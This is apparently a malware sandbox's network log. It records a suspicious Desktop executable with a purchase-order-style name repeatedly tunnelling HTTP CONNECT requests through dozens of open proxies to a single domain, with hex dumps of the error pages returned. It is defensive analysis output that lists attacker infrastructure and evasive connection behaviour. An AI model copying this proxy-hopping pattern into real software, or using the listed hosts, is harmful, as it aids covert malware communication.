Mar 11, 2024 16:42:23.091295958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.401911974 CET	1286	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:23 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 PHP/5.6.40 X-Powered-By: PHP/5.6.40 Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: Wed, 11 Jan 1984 05:00:00 GMT Content-Length: 3172 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 54 68 65 20 55 6e 69 66 6f 72 6d 20 53 65 72 76 65 72 20 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 44 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 54 68 65 20 55 6e 69 66 6f 72 6d 20 53 65 72 76 65 72 20 5a 65 72 6f 20 31 31 2e 32 2e 30 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 4b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 54 68 65 20 55 6e 69 66 6f 72 6d 20 53 65 72 76 65 72 2c 20 4d 50 47 2c 20 4d 69 6b 65 20 47 6c 65 61 76 65 73 2c 20 52 69 63 2c 20 55 6e 69 53 65 72 76 65 72 2c 20 4f 6c 61 6a 69 64 65 2c 20 42 6f 62 53 20 22 20 2f 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 20 2f 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 2f 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0d 0a 2e 69 6e 74 72 6f 7b 0d 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 33 30 70 78 3b 0d 0a 20 20 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 0d 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 0d 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 45 37 45 37 46 44 3b 0d 0a 7d 0d 0a 2f 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2f 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 0d 0a 3c 62 6f 64 79 3e 0d 0a 0d 0a 3c 64 69 76 20 69 64 3d 22 77 72 61 70 22 3e 0d 0a 20 20 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 0d 0a 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 75 6e 69 66 6f 72 6d 73 65 72 76 65 72 2e 63 6f 6d 22 3e 3c 69 6d 67 20 73 72 63 3d 22 69 6d 61 67 65 73 2f 6c 6f 67 6f 2e 70 6e 67 22 20 61 6c 69 67 6e 3d 22 6c 65 66 74 22 20 61 6c 74 3d 22 54 68 65 20 55 6e 69 66 6f 72 6d 20 53 65 72 76 65 72 22 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html;charset=utf-8" /><title>The Uniform Server </title><meta name="Description" content="The Uniform Server Zero 11.2.0" /><meta name="Keywords" content="The Uniform Server, MPG, Mike Gleaves, Ric, UniServer, Olajide, BobS " /><link rel="stylesheet" type="text/css" href="css/style.css" media="screen" /></head><style type="text/css">/***************************************/.intro{ margin-top:30px; padding:10px; font-size:12px; font-family:Verdana; background-color: #E7E7FD;}/***************************************/</style><body><div id="wrap"> <div id="header"> <a href="http://www.uniformserver.com"><img src="images/logo.png" align="left" alt="The Uniform Server"
Mar 11, 2024 16:42:23.711819887 CET	454	IN	HTTP/1.1 400 Bad Request Date: Mon, 11 Mar 2024 15:42:23 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 PHP/5.6.40 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
960	192.168.2.11	53162	221.153.92.39	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.091484070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
961	192.168.2.11	53116	45.138.87.238	1080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.094001055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
962	192.168.2.11	53217	162.159.241.12	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.094119072 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.254968882 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
963	192.168.2.11	50957	103.49.114.195	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.095122099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
964	192.168.2.11	53138	120.29.124.131	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.095160961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.876238108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.985729933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.189049959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.376293898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.689169884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:39.985929966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
965	192.168.2.11	52689	104.37.135.145	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.097965002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
966	192.168.2.11	53226	104.23.128.174	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.098395109 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.252434969 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
967	192.168.2.11	53161	143.64.8.21	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.098397017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.876224041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
968	192.168.2.11	53086	5.202.104.22	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.098647118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
969	192.168.2.11	52473	88.202.230.103	13638	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.100816011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.141922951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
970	192.168.2.11	51001	195.248.243.149	7237	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.101362944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.141935110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.142457008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.142147064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:47.157243967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:59.175323963 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
971	192.168.2.11	53105	177.67.136.241	4153	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.101407051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
972	192.168.2.11	52371	216.137.184.253	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.101505995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.141901016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:29.142442942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.142090082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.678878069 CET	965	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:42:36 GMT Server: Apache Strict-Transport-Security: max-age=63072000; includeSubDomains X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Length: 663 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 72 6f 6f 74 40 73 65 72 76 65 72 2e 73 65 6e 61 2e 63 6c 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at root@server.sena.cl to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><p>Additionally, a 500 Internal Server Errorerror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
973	192.168.2.11	52522	8.142.3.145	3306	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.101569891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
974	192.168.2.11	53109	109.194.22.61	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.106117010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
975	192.168.2.11	51069	135.148.10.161	41146	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.112310886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
